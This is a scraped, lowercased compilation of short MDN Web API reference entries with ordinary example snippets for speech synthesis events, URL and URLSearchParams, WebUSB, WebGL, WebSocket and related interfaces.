bubbles no cancelable no interface speechsynthesisevent event handler property onmark examples you can use the mark event in an addeventlistener method: utterthis.addeventlistener('mark', function(event) { console.log('a mark was reached: ' + event.name); }); or use the onmark event handler property: utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.onboundary - Web APIs
edoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onboundary' in that specification.
SpeechSynthesisUtterance.onend - Web APIs
edoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
SpeechSynthesisUtterance.onerror - Web APIs
e); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechSynthesisUtterance.onmark - Web APIs
ynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onmark' in that specification.
SpeechSynthesisUtterance.onpause - Web APIs
value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onpause' in that specification.
SpeechSynthesisUtterance.onresume - Web APIs
lue); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onresume' in that specification.
SpeechSynthesisUtterance.onstart - Web APIs
lue); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onstart' in that specification.
SpeechSynthesisUtterance: resume event - Web APIs
bubbles no cancelable no interface speechsynthesisevent event handler property onresume examples you can use the resume event in an addeventlistener method: utterthis.addeventlistener('resume', function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); }); or use the onresume event handler property: utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specificat...
SpeechSynthesisUtterance.voice - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'voice' in that specification.
SpeechSynthesisUtterance.volume - Web APIs
function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.volume = 0.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'volume' in that specification.
SpeechSynthesisVoice.name - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'name' in that specification.
StaticRange.toRange() - Web APIs
specifications specification status comment static rangethe definition of 'torange()' in that specification.
StorageManager.persist() - Web APIs
example if (navigator.storage && navigator.storage.persist) navigator.storage.persist().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persist' in that specification.
StorageManager.persisted() - Web APIs
example if (navigator.storage && navigator.storage.persist) navigator.storage.persisted().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persisted' in that specification.
StorageQuota.supportedTypes - Web APIs
specifications specification status comment quota management apithe definition of 'supportedtypes' in that specification.
StylePropertyMap.clear() - Web APIs
return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'clear()' in that specification.
StylePropertyMapReadOnly.entries() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'entries()' in that specification.
StylePropertyMapReadOnly.get() - Web APIs
0; i < ofinterest.length; i++ ) { // properties const cssproperty = document.createelement('dt'); cssproperty.appendchild(document.createtextnode(ofinterest[i])); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode( stylemap.get(ofinterest[i]))); styleslist.appendchild(cssvalue); } specifications specification status comment css typed om level 1the definition of 'get()' in that specification.
StylePropertyMapReadOnly.getAll() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'getall()' in that specification.
StylePropertyMapReadOnly.keys() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'keys()' in that specification.
StylePropertyMapReadOnly.size - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'size' in that specification.
StylePropertyMapReadOnly.values() - Web APIs
example // tbd specifications specification status comment css typed om level 1the definition of 'values()' in that specification.
StyleSheet.parentStyleSheet - Web APIs
specifications specification status comment css object model (cssom)the definition of 'stylesheet: parentstylesheet' in that specification.
StyleSheet.title - Web APIs
WebAPIStyleSheettitle
specifications specification status comment css object model (cssom)the definition of 'stylesheet: title' in that specification.
StyleSheet.type - Web APIs
WebAPIStyleSheettype
syntax string = stylesheet.type example mystylesheet.type = 'text/css'; specifications specification status comment css object model (cssom)the definition of 'stylesheet: type' in that specification.
SyncEvent.SyncEvent() - Web APIs
lastchance: a boolean indicating that the user agent will not make further synchronization attempts after the current attempt.
SyncEvent.tag - Web APIs
WebAPISyncEventtag
specifications specification status comment web background synchronizationthe definition of 'tag' in that specification.
SyncEvent - Web APIs
WebAPISyncEvent
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></...
SyncManager - Web APIs
specifications specification status comment web background synchronizationthe definition of 'syncmanager' in that specification.
TaskAttributionTiming.containerType - Web APIs
specifications specification status comment long tasks api 1the definition of 'containertype' in that specification.
Text() - Web APIs
WebAPITextText
syntax text1 = new text(); // create an empty text node text2 = new text("this is a text node"); example let text = new text("test"); specifications specification status comment domthe definition of 'text()' in that specification.
HTMLSlotElement.assignedSlot - Web APIs
WebAPITextassignedSlot
specifications specification status comment domthe definition of 'assignedslot' in that specification.
Text.isElementContentWhitespace - Web APIs
the text.iselementcontentwhitespace read-only property returns a boolean flag indicating whether or not the text node's content consists solely of whitespace.
TextEncoder() - Web APIs
specifications specification status comment encodingthe definition of 'textencoder()' in that specification.
TextEncoder.prototype.encode() - Web APIs
examples <p class="source">this is a sample paragraph.</p> <p class="result">encoded result: </p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.textcontent; const textencoder = new textencoder(); let encoded = textencoder.encode(string); resultpara.textcontent += encoded; specifications specification status comment encodingthe definition of 'textencoder.prototype.encode()' in that specification.
TextTrackList: addtrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.addeventlistener('addtrack', (event) => { console.log(`text track: ${event.track.label} added`); }); using the onaddtrack event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onaddtrack = (event) => { console.log(`text track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
TextTrackList: change event - Web APIs
bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const mediaelement = document.queryselectorall('video, audio')[0]; mediaelement.texttracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); using the onchange event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onchange = (event) => { console.log(`'${event.type}' event fired`); }; specifications specification status html living standardthe definition of 'change' in that specification.
TextTrackList: removeTrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.addeventlistener('removetrack', (event) => { console.log(`text track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onremovetrack = (event) => { console.log(`text track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specific...
TimeRanges.end() - Web APIs
WebAPITimeRangesend
specifications specification status comment html living standardthe definition of 'timeranges.end()' in that specification.
TimeRanges.length - Web APIs
WebAPITimeRangeslength
specifications specification status comment html living standardthe definition of 'timeranges.length()' in that specification.
TimeRanges.start() - Web APIs
WebAPITimeRangesstart
specifications specification status comment html living standardthe definition of 'timeranges.start()' in that specification.
Touch.identifier - Web APIs
WebAPITouchidentifier
for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status comment touch events – level 2 draft no change.
Touch.screenY - Web APIs
WebAPITouchscreenY
specifications specification status comment touch events – level 2 draft non-stable version.
Touch.target - Web APIs
WebAPITouchtarget
for (var i=0; i < e.targettouches.length; i++) { console.log("touchpoint[" + i + "].target = " + e.targettouches[i].target); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.targetTouches - Web APIs
true : false); } specifications specification status comment touch events – level 2 draft non-stable version.
TouchList.item() - Web APIs
WebAPITouchListitem
yid("target"); target.addeventlistener('touchstart', function(ev) { // if this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchList - Web APIs
WebAPITouchList
specifications specification status comment touch events – level 2 draft non-stable version.
TrackDefault.byteStreamTrackID - Web APIs
if not specified in the constructor, this value will be an empty string and the sourcebuffer can contain any tracks of the specified trackdefault.type.
TrackDefaultList - Web APIs
the trackdefaultlist associated with a particular sourcebuffer can be retrieved using the sourcebuffer.trackdefaults property.
TransitionEvent.transitionName - Web APIs
syntax name = transitionevent.transitionname specifications specification status comment css transitionsthe definition of 'transitionevent.transitionname' in that specification.
TransitionEvent.elapsedTime - Web APIs
syntax name = transitionevent.elapsedtime specifications specification status comment css transitionsthe definition of 'transitionevent.elapsedtime' in that specification.
TransitionEvent.pseudoElement - Web APIs
syntax name = transitionevent.pseudoelement specifications specification status comment css transitionsthe definition of 'transitionevent.pseudoelement' in that specification.
UIEvent.layerX - Web APIs
WebAPIUIEventlayerX
v id="d3"> <form name="form_coords" id="form1"> parent element id: <input type="text" name="parentid" size="7" /><br /> pagex:<input type="text" name="pagexcoords" size="7" /> pagey:<input type="text" name="pageycoords" size="7" /><br /> layerx:<input type="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specifications this property is not part of any specification.
URL.hash - Web APIs
WebAPIURLhash
examples const url = new url('/docs/web/api/url/href#examples'); console.log(url.hash); // logs: '#examples' specifications specification status comment urlthe definition of 'url.hash' in that specification.
URL.host - Web APIs
WebAPIURLhost
examples let url = new url('/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" url = new url('https://developer.mozilla.org:443/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port url = new url('https://developer.mozilla.org:4097/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org:4097" specifications specification status comment urlthe definition of 'url.host' in that specification.
URL.hostname - Web APIs
WebAPIURLhostname
examples const url = new url('/docs/web/api/url/hostname'); console.log(url.hostname); // logs: 'developer.mozilla.org' specifications specification status comment urlthe definition of 'url.hostname' in that specification.
URL.href - Web APIs
WebAPIURLhref
examples const url = new url('/docs/web/api/url/href'); console.log(url.href); // logs: '/docs/web/api/url/href' specifications specification status comment urlthe definition of 'url.href' in that specification.
URL.origin - Web APIs
WebAPIURLorigin
examples const url = new url("blob:https://mozilla.org:443/") console.log(url.origin); // logs 'https://mozilla.org' specifications specification status comment urlthe definition of 'url.origin' in that specification.
URL.password - Web APIs
WebAPIURLpassword
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/password'); console.log(url.password) // logs "flabada" specifications specification status comment urlthe definition of 'url.password' in that specification.
URL.pathname - Web APIs
WebAPIURLpathname
examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
URL.pathname - Web APIs
examples const url = new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification.
URL.port - Web APIs
WebAPIURLport
examples const url = new url('https://mydomain.com:80/svn/repos/'); console.log(url.port); // logs '80' specifications specification status comment urlthe definition of 'url.port' in that specification.
URL.protocol - Web APIs
WebAPIURLprotocol
examples const url = new url('/docs/web/api/url/protocol'); console.log(url.protocol); // logs "https:" specifications specification status comment urlthe definition of 'protocol' in that specification.
URL.toJSON() - Web APIs
WebAPIURLtoJSON
examples const url = new url("/docs/web/api/url/tostring"); url.tojson(); // should return the url as a string specifications specification status comment urlthe definition of 'tojson()' in that specification.
URL.toString() - Web APIs
WebAPIURLtoString
examples const url = new url("/docs/web/api/url/tostring"); url.tostring(); // should return the url as a string specifications specification status comment urlthe definition of 'stringifier' in that specification.
URL.username - Web APIs
WebAPIURLusername
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/username'); console.log(url.username) // logs "anonymous" specifications specification status comment urlthe definition of 'username' in that specification.
URLSearchParams.append() - Web APIs
params.append('foo', 4); //query string is now: 'foo=1&bar=2&foo=4' specifications specification status comment urlthe definition of 'append()' in that specification.
URLSearchParams.delete() - Web APIs
params.delete('foo'); //query string is now: 'bar=2' specifications specification status comment urlthe definition of 'delete()' in that specification.
URLSearchParams.entries() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification.
URLSearchParams.get() - Web APIs
examples if the url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let params = new urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment urlthe definition of 'get()' in that specificatio...
URLSearchParams.getAll() - Web APIs
specifications specification status comment urlthe definition of 'getall()' in that specification.
URLSearchParams.keys() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification.
URLSearchParams.sort() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification.
URLSearchParams.values() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification.
URLUtilsReadOnly.hash - Web APIs
syntax string = object.hash; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.hash#example var result = window.self.hash; // returns:'#hash' specifications specification status comment urlthe definition of 'urlutilsreadonly.hash' in that specification.
URLUtilsReadOnly.host - Web APIs
syntax string = object.host; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.host var result = window.self.host; // returns:'developer.mozilla.org:80' specifications specification status comment urlthe definition of 'urlutilsreadonly.host' in that specification.
URLUtilsReadOnly.hostname - Web APIs
syntax string = object.hostname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.hostname var result = window.self.hostname; // returns:'developer.mozilla.org' specifications specification status comment urlthe definition of 'urlutilsreadonly.hostname' in that specification.
URLUtilsReadOnly.href - Web APIs
syntax string = object.href; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.href; // returns:'https://developer.mozilla.org/urlutilsreadonly.href' specifications specification status comment urlthe definition of 'urlutilsreadonly.href' in that specification.
URLUtilsReadOnly.pathname - Web APIs
syntax string = object.pathname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.pathname var result = window.self.pathname; // returns:'/urlutilsreadonly.pathname' specifications specification status comment urlthe definition of 'urlutilsreadonly.pathname' in that specification.
URLUtilsReadOnly.port - Web APIs
syntax string = object.port; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.port var result = window.self.port; // returns:'80' specifications specification status comment urlthe definition of 'urlutilsreadonly.port' in that specification.
URLUtilsReadOnly.protocol - Web APIs
syntax string = object.protocol; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.protocol; // returns:'https:' specifications specification status comment urlthe definition of 'urlutilsreadonly.protocol' in that specification.
URLUtilsReadOnly.search - Web APIs
syntax string = object.search; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.href?t=67 var result = window.self.search; // returns:'?t=67' specifications specification status comment urlthe definition of 'urlutilsreadonly.search' in that specification.
USB.getDevices() - Web APIs
WebAPIUSBgetDevices
navigator.usb.getdevices() .then(devices => { console.log("total devices: " + devices.length); devices.foreach(device => { console.log("product name: " + device.productname + ", serial number " + device.serialnumber); }); }); specifications specification status comment webusbthe definition of 'getdevices' in that specification.
USBConfiguration.USBConfiguration() - Web APIs
specifications specification status comment unknownthe definition of 'usbconfiguration' in that specification.
USBConfiguration.configurationName - Web APIs
specifications specification status comment unknownthe definition of 'configurationname' in that specification.
USBConfiguration.configurationValue - Web APIs
specifications specification status comment unknownthe definition of 'configurationvalue' in that specification.
USBConfiguration.interfaces - Web APIs
specifications specification status comment unknownthe definition of 'interfaces' in that specification.
USBConfiguration - Web APIs
specifications specification status comment webusbthe definition of 'usbconfiguration' in that specification.
USBDevice.deviceClass - Web APIs
specifications specification status comment webusbthe definition of 'deviceclass' in that specification.
USBDevice.claimInterface() - Web APIs
async function connectdevice(usbdevice) { await usbdevice.open(); if (usbdevice.configuration === null) await usbdevice.selectconfiguration(1); await usbdevice.claiminterface(0); } specifications specification status comment webusbthe definition of 'claiminterface()' in that specification.
USBDevice.close() - Web APIs
WebAPIUSBDeviceclose
specifications specification status comment webusbthe definition of 'close()' in that specification.
USBDevice.configuration - Web APIs
async function connectdevice(usbdevice) { await usbdevice.open(); if (usbdevice.configuration === null) await usbdevice.selectconfiguration(1); await usbdevice.claiminterface(0); } specifications specification status comment webusbthe definition of 'configuration' in that specification.
USBDevice.configurations - Web APIs
specifications specification status comment webusbthe definition of 'configurations' in that specification.
USBDevice.controlTransferIn() - Web APIs
specifications specification status comment webusbthe definition of 'controltransferin()' in that specification.
USBDevice.deviceClass - Web APIs
specifications specification status comment webusbthe definition of 'deviceclass' in that specification.
USBDevice.deviceProtocol - Web APIs
specifications specification status comment webusbthe definition of 'deviceprotocol' in that specification.
USBDevice.deviceSubclass - Web APIs
specifications specification status comment webusbthe definition of 'devicesubclass' in that specification.
USBDevice.deviceVersionMajor - Web APIs
specifications specification status comment webusbthe definition of 'deviceversionmajor' in that specification.
USBDevice.deviceVersionMinor - Web APIs
specifications specification status comment webusbthe definition of 'deviceversionminor' in that specification.
USBDevice.deviceVersionSubminor - Web APIs
specifications specification status comment webusbthe definition of 'deviceversionsubminor' in that specification.
USBDevice.isochronousTransferIn() - Web APIs
return value a promise that resolves with a usbisochronousintransferresult specifications specification status comment webusbthe definition of 'isochronoustransferin()' in that specification.
USBDevice.isochronousTransferOut() - Web APIs
specifications specification status comment webusbthe definition of 'isochronoustransferout()' in that specification.
USBDevice.manufacturerName - Web APIs
specifications specification status comment webusbthe definition of 'manufacturername' in that specification.
USBDevice.open() - Web APIs
WebAPIUSBDeviceopen
specifications specification status comment webusbthe definition of 'open()' in that specification.
USBDevice.productID - Web APIs
specifications specification status comment webusbthe definition of 'productid' in that specification.
USBDevice.productName - Web APIs
specifications specification status comment webusbthe definition of 'productname' in that specification.
USBDevice.releaseInterface() - Web APIs
specifications specification status comment webusbthe definition of 'releaseinterface()' in that specification.
USBDevice.selectAlternateInterface() - Web APIs
specifications specification status comment webusbthe definition of 'selectalternateinterface()' in that specification.
USBDevice.selectConfiguration() - Web APIs
specifications specification status comment webusbthe definition of 'selectconfiguration' in that specification.
USBDevice.serialNumber - Web APIs
syntax var serialnumber = usbdevice.serialnumber value the serial number for the specified usb device specifications specification status comment webusbthe definition of 'serialnumber' in that specification.
USBDevice.transferIn() - Web APIs
specifications specification status comment webusbthe definition of 'transferin()' in that specification.
USBDevice.transferOut() - Web APIs
specifications specification status comment webusbthe definition of 'transferout()' in that specification.
USBDevice.usbVersionMajor - Web APIs
specifications specification status comment webusbthe definition of 'usbversionmajor' in that specification.
USBDevice.usbVersionMinor - Web APIs
specifications specification status comment webusbthe definition of 'usbversionminor' in that specification.
USBDevice.usbVersionSubminor - Web APIs
specifications specification status comment webusbthe definition of 'usbversionsubminor' in that specification.
USBDevice.vendorID - Web APIs
specifications specification status comment webusbthe definition of 'vendorid' in that specification.
VTTRegion - Web APIs
WebAPIVTTRegion
specifications specification status comment webvtt: the web video text tracks format candidate recommendation ...
VideoPlaybackQuality.totalFrameDelay - Web APIs
the frame delay is the difference between a frame's theoretical presentation time and its effective display time.
VideoTrack.label - Web APIs
WebAPIVideoTracklabel
specifications specification status comment html living standardthe definition of 'videotrack: label' in that specification.
Videotrack.language - Web APIs
specifications specification status comment html living standardthe definition of 'videotrack: language' in that specification.
VideoTrack.sourceBuffer - Web APIs
specifications specification status comment media source extensionsthe definition of 'videotrack: sourcebuffer' in that specification.
VideoTrackList: addtrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('addtrack', (event) => { console.log(`video track: ${event.track.label} added`); }); using the onaddtrack event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onaddtrack = (event) => { console.log(`video track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
VideoTrackList: removetrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('removetrack', (event) => { console.log(`video track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onremovetrack = (event) => { console.log(`video track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
VisualViewport.height - Web APIs
specifications specification status comment visual viewport apithe definition of 'height' in that specification.
VisualViewport.offsetTop - Web APIs
specifications specification status comment visual viewport apithe definition of 'offsettop' in that specification.
VisualViewport.offsetleft - Web APIs
specifications specification status comment visual viewport apithe definition of 'offsetleft' in that specification.
VisualViewport.pageLeft - Web APIs
specifications specification status comment visual viewport apithe definition of 'pageleft' in that specification.
VisualViewport.pageTop - Web APIs
specifications specification status comment visual viewport apithe definition of 'pagetop' in that specification.
VisualViewport.width - Web APIs
specifications specification status comment visual viewport apithe definition of 'width' in that specification.
WEBGL_color_buffer_float - Web APIs
examples var ext = gl.getextension('webgl_color_buffer_float'); gl.renderbufferstorage(gl.renderbuffer, ext.rbga32f_ext, 256, 256); specifications specification status comment webgl_color_buffer_floatthe definition of 'webgl_color_buffer_float' in that specification.
WEBGL_lose_context.restoreContext() - Web APIs
examples with this method, you can simulate the webglcontextrestored event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextrestored', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').restorecontext(); specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context.losecontext' in that specification.
WakeLockSentinel.release() - Web APIs
wakelockoffbutton.addeventlistener('click', () => { wakelocksentinel.release(); }) specifications specification status comment screen wake lock apithe definition of 'release()' in that specification.
WakeLockSentinel.type - Web APIs
const requestwakelock = async () => { wakelock = await navigator.wakelock.request('screen'); console.log(wakelock.type); // logs 'screen' }; requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelocktype' in that specification.
WaveShaperNode.WaveShaperNode() - Web APIs
specifications specification status comment web audio apithe definition of 'waveshapernode()' in that specification.
WebGL2RenderingContext.getBufferSubData() - Web APIs
examples var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array(vertices), gl.static_draw); var arrbuffer = new arraybuffer(vertices.length * float32array.bytes_per_element); gl.getbuffersubdata(gl.array_buffer, 0, arrbuffer); specifications specification status comment webgl 2.0the definition of 'getbuffersubdata' in that specification.
WebGLBuffer - Web APIs
when working with webglbuffer objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.bindbuffer() webglrenderingcontext.createbuffer() webglrenderingcontext.deletebuffer() webglrenderingcontext.isbuffer() examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); specifications specification status comment webgl 1.0the definition of 'webglbuffer' in that specification.
WebGLFramebuffer - Web APIs
when working with webglframebuffer objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.bindframebuffer() webglrenderingcontext.createframebuffer() webglrenderingcontext.deleteframebuffer() webglrenderingcontext.isframebuffer() examples creating a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createframebuffer(); specifications specification status comment webgl 1.0the definition of 'webglframebuffer' in that specification.
WebGLQuery - Web APIs
var query = gl.createquery(); specifications specification status comment webgl 2.0the definition of 'webglquery' in that specification.
WebGLSampler - Web APIs
var sampler = gl.createsampler(); specifications specification status comment webgl 2.0the definition of 'webglsample' in that specification.
WebGLTexture - Web APIs
when working with webgltexture objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.bindtexture() webglrenderingcontext.createtexture() webglrenderingcontext.deletetexture() webglrenderingcontext.istexture() examples creating a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); specifications specification status comment webgl 1.0the definition of 'webgltexture' in that specification.
WebRTC coding guide - Web APIs
how do you create a web application that uses two-way video or data streams without having to do all the hard work of compressing frames, building streams, and so forth by yourself?
WebSocket.binaryType - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: binarytype' in that specification.
WebSocket: error event - Web APIs
bubbles no cancelable no interface event event handler property onerror examples // create websocket connection const socket = new websocket('ws://localhost:8080'); // listen for possible errors socket.addeventlistener('error', function (event) { console.log('websocket error: ', event); }); specifications specification status html living standardthe definition of 'websocket error' in that specification.
WebSocket.extensions - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: extensions' in that specification.
WebSocket.protocol - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: protocol' in that specification.
WebSocket.url - Web APIs
WebAPIWebSocketurl
specifications specification status comment html living standardthe definition of 'websocket: url' in that specification.
Tools for analyzing Web Audio usage - Web APIs
chrome a handy web audio inspector can be found in the chrome web store.
Web Bluetooth API - Web APIs
specifications specification feedback web bluetooth to provide feedback on the web bluetooth api, file a spec issue.
Web Budget API - Web APIs
specifications specification status comment web budget api draft initial definition.
WheelEvent.deltaMode - Web APIs
